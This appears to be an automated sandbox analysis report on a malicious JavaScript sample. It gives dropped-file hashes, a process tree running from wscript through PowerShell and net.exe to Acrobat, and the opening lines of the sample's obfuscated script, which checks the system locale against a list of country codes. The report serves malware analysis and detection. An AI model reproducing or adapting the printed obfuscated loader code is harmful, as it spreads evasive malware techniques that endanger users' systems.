SHA-256: | AABF7223A86131E16D890759658EE4F4262334AA7D1EDA6680EDF0BFFFCDAC3A |
SHA-512: | BD34E13514D75BC1158DB30FAAB1634360AE293C7C165F786A01ED9ED5351B125AA23228F794F694CA1BD225F47BAB15A3789718CFCD3566D6F0B5412CE30FE7 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1090 |
Entropy (8bit): | 5.664932327463633 |
Encrypted: | false |
SSDEEP: | 24:Yv6XOLzvNYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSt:Yv1IBgkDMUJUAh8cvMt |
MD5: | B925493999F2C5119B1E8D22D718C3DF |
SHA1: | 562AE601DF871E16C0D6F418A12BF114E77869D9 |
SHA-256: | 653B7A6A8D66D66D2B8862986A3A40F6F5C2198F3F7167CF6A3DC7C5DD9CCCC0 |
SHA-512: | 2B90A05EB956F75867AD683AD4795911953325FE914A40FCF7061626188E65EA1F9C89C5C2DB51EFDD2F792A8E668F8ED11831A6D57232D94835F219D86C46CD |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 286 |
Entropy (8bit): | 5.265370821001716 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXOMSs7zVoZcg1vRcR0YufUoAvJfshHHrPeUkwRe9:YvXKXOMkZc0vVfnGUUUkee9 |
MD5: | 22AA5C8F07689B1086DA371A6DC31940 |
SHA1: | 6E5D690370C7E902145487F93F35B14134A085B6 |
SHA-256: | 755EFFE5D742DA72FCFC18F70AE4E7A6211D662A3100A97C2FADEA93EFABA5DD |
SHA-512: | 8900B73517F193FDE784C823C5D90245B92D3A32DCDAF14451778E2A293D8D9F7745C1E9037EE1329408B7835DC3C415E459F0D13F4FCCC3A5F0DED5116BAF26 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 282 |
Entropy (8bit): | 5.276855374846977 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXOMSs7zVoZcg1vRcR0YufUoAvJTqgFCrPeUkwRe9:YvXKXOMkZc0vVfnGTq16Ukee9 |
MD5: | CCDDEE6606F2CC55E6172DCA0C84A9C4 |
SHA1: | A1C6FC614B46D8E0728ABAB378EE3BCA9BD17C68 |
SHA-256: | DA181596A2D9DE906F9B6E80EC554C1389F97D27901675B8B92C544D643834AB |
SHA-512: | 5C97A4BAC804BC43D964E9C2A7C7B64B593E08DBE792F9D31F18A4D6B7238C6BE9D2383F1574FE3C4445F1CE5E1F08F7674781C8E8AF152BE211EEBF4FD7C44C |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 4 |
Entropy (8bit): | 0.8112781244591328 |
Encrypted: | false |
SSDEEP: | 3:e:e |
MD5: | DC84B0D741E5BEAE8070013ADDCC8C28 |
SHA1: | 802F4A6A20CBF157AAF6C4E07E4301578D5936A2 |
SHA-256: | 81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06 |
SHA-512: | 65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 2814 |
Entropy (8bit): | 5.141304074131786 |
Encrypted: | false |
SSDEEP: | 24:YdzE5aXaypbRaDUpnBkpBBM9kJUkLjPj0SdcMSdx2xshb2LS3ChYQxc6/57PW5no:Yr1/nOvU/4bqljusBZeYCc6/57Ow9pb |
MD5: | A333FF0D99B73D13901807D4737AF90B |
SHA1: | F814D38BD48A406A27E8F0FFB450E55DD7A4E944 |
SHA-256: | AE13A03DAD85A98C48A7E4F82485640D4CCC3AF94E7F1DC99F3FDECF5B6AA721 |
SHA-512: | 3353334E4EECC0F5F77D3CF6514D37FFD3E1286A4A4238D65A1AE5DBC02486F8DF978B9B4A806FB3497954E656E3875341CABF52FDC11704C5AD623E32AFB295 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 12288 |
Entropy (8bit): | 1.1883686932773623 |
Encrypted: | false |
SSDEEP: | 48:TGufl2GL7msEHUUUUUUUUTSvR9H9vxFGiDIAEkGVvp/:lNVmswUUUUUUUUT+FGSItL |
MD5: | 1048F1160181FFEEDD2AA79EB6A1B39F |
SHA1: | 07F9A17D47703AB63E05C5EADF5E5EEE1314C522 |
SHA-256: | 34EF04C506F8ED03135173AF744EAA78563647A16AEF340C9C42C5B7688314F6 |
SHA-512: | B2F762CF43E18F29E8F8F82A10EE24C7CF82FFA9269E0CC544C843063DA03113C7B22A030652D658915651DB566EA2A68798C3E3AE59E43F1AD5937A9F2ADCA6 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 8720 |
Entropy (8bit): | 1.6080576857754452 |
Encrypted: | false |
SSDEEP: | 48:7MFKUUUUUUUUUUXvR9H9vxFGiDIAEkGVvkqFl2GL7msF:7zUUUUUUUUUUvFGSItCKVmsF |
MD5: | D255820FED4A29D10CC21F585D67712A |
SHA1: | 189E53C3574D27BCBF0513E9AFAD83864466024F |
SHA-256: | 3837647FD3027CE5EAADE153D686C5A1B75F71878B83FA63C6E78A290FE5B43C |
SHA-512: | C16DCA974308CE4829228D7FBA5B92F775DECCC98CAE208DCB2C6E425BE3C66BBB1C3746642202736784FF7C11F50B4445C8EEB1D882EB111EFC5DAA7C72DB17 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 66726 |
Entropy (8bit): | 5.392739213842091 |
Encrypted: | false |
SSDEEP: | 768:RNOpblrU6TBH44ADKZEgH8iRekdYJIcHEFDerBbCL4DRW+wYyu:6a6TZ44ADEHFRekdNMEFDcCySK |
MD5: | FB97DB36B22BFFC0D330F9D57797F706 |
SHA1: | EFBA58DDF59AE2F0315E48B89CFDC05E09647DAB |
SHA-256: | D6C5EB978C094F341BCFC4E6650583FA4C21CB596957EFEE74EB620A30F5C4DC |
SHA-512: | 0B6EB52963F97D92B7FEE6574A6EAFCC06AB087A1B9B698660B9A17A1B0705625F1B2285FBF59D13DFA1EC9AEE00ED2A6919AF789991BA0D565B54BF06332CF0 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Download File
Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 64 |
Entropy (8bit): | 1.1628158735648508 |
Encrypted: | false |
SSDEEP: | 3:Nlllulvh2th:NllUE |
MD5: | 1C6FEFD3AEFA5BA7595E7FC2E4284A86 |
SHA1: | 1061961FD8D9427258B32E58594747A9009930B7 |
SHA-256: | AB4853F85060BF67D37B111333E3852386DF7BF6AA0499E6CEF96B10CE5A1621 |
SHA-512: | 03A091C2C65B6C22EFB336B4155E8579A540C773DB34E8F8654BC3D7044C00434020096B41BF2959245CA8722CF3913B38A653DE361A5BF0FDF218A6F07B6626 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 246 |
Entropy (8bit): | 3.511206980872271 |
Encrypted: | false |
SSDEEP: | 6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl8NWlpwle:Qw946cPbiOxDlbYnuRK+bZWww |
MD5: | FD768936EF2017F9AB7F3C92487EBC6F |
SHA1: | 3BC07B18E48EA1DC31B0B223EFB83FD6906C62F9 |
SHA-256: | 3B95E6DE2DAFCD5E9794F7D186487D57ADFDE1569C0D3B0136F8821752DEE035 |
SHA-512: | 2527A049D79763D9017BD4EE453DE437B8B6CB674485AC11BA8F6BFAC19F32F015AE68E31DD052E7C4E825E5C05916B6BE49987BE9599B19E995E3C361B48D37 |
Malicious: | false |
Preview: |
Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 60 |
Entropy (8bit): | 4.038920595031593 |
Encrypted: | false |
SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
Malicious: | false |
Preview: |
Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 60 |
Entropy (8bit): | 4.038920595031593 |
Encrypted: | false |
SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 144514 |
Entropy (8bit): | 7.992637131260696 |
Encrypted: | true |
SSDEEP: | 3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL |
MD5: | BA1716D4FB435DA6C47CE77E3667E6A8 |
SHA1: | AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF |
SHA-256: | AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D |
SHA-512: | 65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 144514 |
Entropy (8bit): | 7.992637131260696 |
Encrypted: | true |
SSDEEP: | 3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL |
MD5: | BA1716D4FB435DA6C47CE77E3667E6A8 |
SHA1: | AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF |
SHA-256: | AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D |
SHA-512: | 65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-32-30-238.log
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 16525 |
Entropy (8bit): | 5.345946398610936 |
Encrypted: | false |
SSDEEP: | 384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW |
MD5: | 8947C10F5AB6CFFFAE64BCA79B5A0BE3 |
SHA1: | 70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778 |
SHA-256: | 4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485 |
SHA-512: | B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 15114 |
Entropy (8bit): | 5.35311739102695 |
Encrypted: | false |
SSDEEP: | 384:s316tnsZgVUulf1MM1u40udo0vK1VNxy+yWwCGQlglR4xfH+kVeo8x8BEci9ATDe:GBTI |
MD5: | 9570B8B64E476BD51210C14990E23888 |
SHA1: | E509C5525110F10A4C6266DD41273F802FCC77C3 |
SHA-256: | E269DCBB2DEF62A4C30DF06946A8FD98C724173BD03BAADD46AF618B16FBA903 |
SHA-512: | CC2E4972C166DFC2070FA68DFF24A824F1936487192946A78897001430F7EB874CD2DA8F0EAB90A8BC09160F8D767C2E7EA2360E0EC5991F6A3DFA1AF54F0586 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 29752 |
Entropy (8bit): | 5.384756927269737 |
Encrypted: | false |
SSDEEP: | 768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rU:TEh |
MD5: | 46F694A17FBE8B6114F5F3C0916586B6 |
SHA1: | DE03C17C784E2473D6A52A4F9B29655C13934275 |
SHA-256: | 59D7EC2F2732BA9F9EC87DB3898C7F6854B925700862F4C05D65EE3481CF07A9 |
SHA-512: | FCC9CCBCD5A0271339F34BF82E857ECEC677C1C8DF69986C3AB17804BB4DC60687AA843DF86BB6BFBB43C2184B27DDF7EBD3137F26D55EC65F3BB46714F8C328 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1419751 |
Entropy (8bit): | 7.976496077007677 |
Encrypted: | false |
SSDEEP: | 24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru |
MD5: | 18E3D04537AF72FDBEB3760B2D10C80E |
SHA1: | B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC |
SHA-256: | BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4 |
SHA-512: | 2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1407294 |
Entropy (8bit): | 7.97605879016224 |
Encrypted: | false |
SSDEEP: | 24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk |
MD5: | 38ED8E7B44D526DDA0F3E7608AF1AFA1 |
SHA1: | 45E30A6789382E29AC870CCF92B514FB95742C45 |
SHA-256: | 7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF |
SHA-512: | 7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 386528 |
Entropy (8bit): | 7.9736851559892425 |
Encrypted: | false |
SSDEEP: | 6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m |
MD5: | 5C48B0AD2FEF800949466AE872E1F1E2 |
SHA1: | 337D617AE142815EDDACB48484628C1F16692A2F |
SHA-256: | F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE |
SHA-512: | 44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 758601 |
Entropy (8bit): | 7.98639316555857 |
Encrypted: | false |
SSDEEP: | 12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg |
MD5: | 3A49135134665364308390AC398006F1 |
SHA1: | 28EF4CE5690BF8A9E048AF7D30688120DAC6F126 |
SHA-256: | D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B |
SHA-512: | BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5 |
Malicious: | false |
Preview: |
Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 635764 |
Entropy (8bit): | 7.929592005409041 |
Encrypted: | false |
SSDEEP: | 12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ |
MD5: | 91A2AF9E2A61ABF7D9977999FBF9879E |
SHA1: | F6E4FA02DD15B27F74553FB1B220A4D2DF385267 |
SHA-256: | FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A |
SHA-512: | 8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C |
Malicious: | true |
Preview: |
C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 98682 |
Entropy (8bit): | 6.445287254681573 |
Encrypted: | false |
SSDEEP: | 1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L |
MD5: | 7113425405A05E110DC458BBF93F608A |
SHA1: | 88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF |
SHA-256: | 7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46 |
SHA-512: | 6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 737 |
Entropy (8bit): | 7.501268097735403 |
Encrypted: | false |
SSDEEP: | 12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa |
MD5: | 5274D23C3AB7C3D5A4F3F86D4249A545 |
SHA1: | 8A3778F5083169B281B610F2036E79AEA3020192 |
SHA-256: | 8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97 |
SHA-512: | FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574 |
Malicious: | false |
Preview: |
Process: | C:\Windows\System32\svchost.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 55 |
Entropy (8bit): | 4.306461250274409 |
Encrypted: | false |
SSDEEP: | 3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y |
MD5: | DCA83F08D448911A14C22EBCACC5AD57 |
SHA1: | 91270525521B7FE0D986DB19747F47D34B6318AD |
SHA-256: | 2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9 |
SHA-512: | 96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA |
Malicious: | false |
Preview: |
File type: | |
Entropy (8bit): | 4.925457981996864 |
TrID: | |
File name: | 212032324439912626.js |
File size: | 20'351 bytes |
MD5: | 1a11b722b5d9d0501fcf20d1135310ea |
SHA1: | 98b1794b103c5f3265afd81bab6b15cad0fa5104 |
SHA256: | cd120dcecba677806e9f9d9afe44bf57602481976ffeea7354e77e33349db513 |
SHA512: | 529bd9db16ea851192846244f957909a3fbb4214f79d5a7b0488c7a2cfb65522e71094a4f792a55629a1a96298150a34a91c6389822a47e6b269c7977e70a986 |
SSDEEP: | 384:ioxRci2hNVrgxp7Jo+UxH/DFbrzjS7ABFhGUVnX0daRm+h:inNVrgxpuFbIwnXA+h |
TLSH: | 9E9254841400CB055DD803381AB3125414CE925C67692E5F6BAAB9B81B3DF7BA0E3FFE |
File Content Preview: | function dzeqwa(){rrcjicvpi=[1031,3079,5127,4103,2055,3072];var dwbkddke=this[dmitopmxx+lndbtqh+lkcitawf+jappeenvc+rshqdem+mvzjlvy+fqhdnfay+jeqzvlbn](this[hdwrskzh+bbvmf+cgzrtp+lkcitawf+nwanht+dmitopmxx+jeqzvlbn][rgxjru+lkcitawf+rshqdem+lndbtqh+jeqzvlbn+r |
Icon Hash: | 68d69b8bb6aa9a86 |
Click to jump to process
Click to jump to process
back
Click to dive into process behavior distribution
Click to jump to process
Target ID: | 0 |
Start time: | 20:32:21 |
Start date: | 10/01/2025 |
Path: | C:\Windows\System32\wscript.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff775d90000 |
File size: | 170'496 bytes |
MD5 hash: | A47CBE969EA935BDD3AB568BB126BC80 |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 1 |
Start time: | 20:32:21 |
Start date: | 10/01/2025 |
Path: | C:\Windows\System32\cmd.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff651590000 |
File size: | 289'792 bytes |
MD5 hash: | 8A2122E8162DBEF04694B9C3E0B6CDEE |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 2 |
Start time: | 20:32:21 |
Start date: | 10/01/2025 |
Path: | C:\Windows\System32\conhost.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff7699e0000 |
File size: | 862'208 bytes |
MD5 hash: | 0D698AF330FD17BEE3BF90011D49251D |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 3 |
Start time: | 20:32:21 |
Start date: | 10/01/2025 |
Path: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff788560000 |
File size: | 452'608 bytes |
MD5 hash: | 04029E121A0CFA5991749937DD22A1D9 |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 4 |
Start time: | 20:32:27 |
Start date: | 10/01/2025 |
Path: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff6bc1b0000 |
File size: | 5'641'176 bytes |
MD5 hash: | 24EAD1C46A47022347DC0F05F6EFBB8C |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | false |
Target ID: | 5 |
Start time: | 20:32:27 |
Start date: | 10/01/2025 |
Path: | C:\Windows\System32\cmd.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff651590000 |
File size: | 289'792 bytes |
MD5 hash: | 8A2122E8162DBEF04694B9C3E0B6CDEE |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 6 |
Start time: | 20:32:27 |
Start date: | 10/01/2025 |
Path: | C:\Windows\System32\net.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff756ba0000 |
File size: | 59'904 bytes |
MD5 hash: | 0BD94A338EEA5A4E1F2830AE326E6D19 |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 7 |
Start time: | 20:32:27 |
Start date: | 10/01/2025 |
Path: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff74bb60000 |
File size: | 3'581'912 bytes |
MD5 hash: | 9B38E8E8B6DD9622D24B53E095C5D9BE |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | false |
Target ID: | 8 |
Start time: | 20:32:28 |
Start date: | 10/01/2025 |
Path: | C:\Windows\System32\svchost.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff6eef20000 |
File size: | 55'320 bytes |
MD5 hash: | B7F884C1B74A263F746EE12A5F7C9F6A |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | false |
Target ID: | 9 |
Start time: | 20:32:28 |
Start date: | 10/01/2025 |
Path: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff74bb60000 |
File size: | 3'581'912 bytes |
MD5 hash: | 9B38E8E8B6DD9622D24B53E095C5D9BE |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Has exited: | false |
Target ID: | 14 |
Start time: | 20:32:37 |
Start date: | 10/01/2025 |
Path: | C:\Windows\System32\conhost.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff7699e0000 |
File size: | 862'208 bytes |
MD5 hash: | 0D698AF330FD17BEE3BF90011D49251D |
Has elevated privileges: | true |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Has exited: | true |
Call Graph
Graph
- Executed
- Not Executed
Script: |
---|
Code | ||
---|---|---|
0 | function dzeqwa() { |
|
1 | rrcjicvpi = [ 1031, 3079, 5127, 4103, 2055, 3072 ]; | |
2 | var dwbkddke = this[dmitopmxx + lndbtqh + lkcitawf + jappeenvc + rshqdem + mvzjlvy + fqhdnfay + jeqzvlbn] ( this[hdwrskzh + bbvmf + cgzrtp + lkcitawf + nwanht + dmitopmxx + jeqzvlbn][rgxjru + lkcitawf + rshqdem + lndbtqh + jeqzvlbn + rshqdem + lgqytxrxr + lohpuc + hqgkolgq + rshqdem + cgzrtp + jeqzvlbn] ( hdwrskzh + bbvmf + cgzrtp + lkcitawf + nwanht + dmitopmxx + jeqzvlbn + gssuymhi + bbvmf + janqq + rshqdem + juuzagkt + juuzagkt ) [xvmtuobjj + rshqdem + ydtadly + xvmtuobjj + rshqdem + lndbtqh + hhatckohb] ( fxxox + cmxdtvjqh + yxhcgmmh + ixkpdvmzu + zakopmb + rgxjru + ioomf + xvmtuobjj + xvmtuobjj + yxhcgmmh + yroxxoie + wketsm + zakopmb + ioomf + bbvmf + yxhcgmmh + xvmtuobjj + negdzzjo + rgxjru + zrtbhic + fqhdnfay + jeqzvlbn + lkcitawf + zrtbhic + juuzagkt + apvcsyxbr + rgsjpyvgj + lndbtqh + fqhdnfay + rshqdem + juuzagkt + negdzzjo + mvzjlvy + fqhdnfay + jeqzvlbn + rshqdem + lkcitawf + fqhdnfay + lndbtqh + jeqzvlbn + nwanht + zrtbhic + fqhdnfay + lndbtqh + juuzagkt + negdzzjo + rgnjoagvi + zrtbhic + cgzrtp + lndbtqh + juuzagkt + rshqdem ), 16 ); |
|
3 | for ( sggcg = 0 ; sggcg < rrcjicvpi[juuzagkt + rshqdem + fqhdnfay + ydtadly + jeqzvlbn + janqq] ; ++ sggcg ) | |
4 | { | |
5 | if ( dwbkddke == rrcjicvpi[sggcg] ) | |
6 | { | |
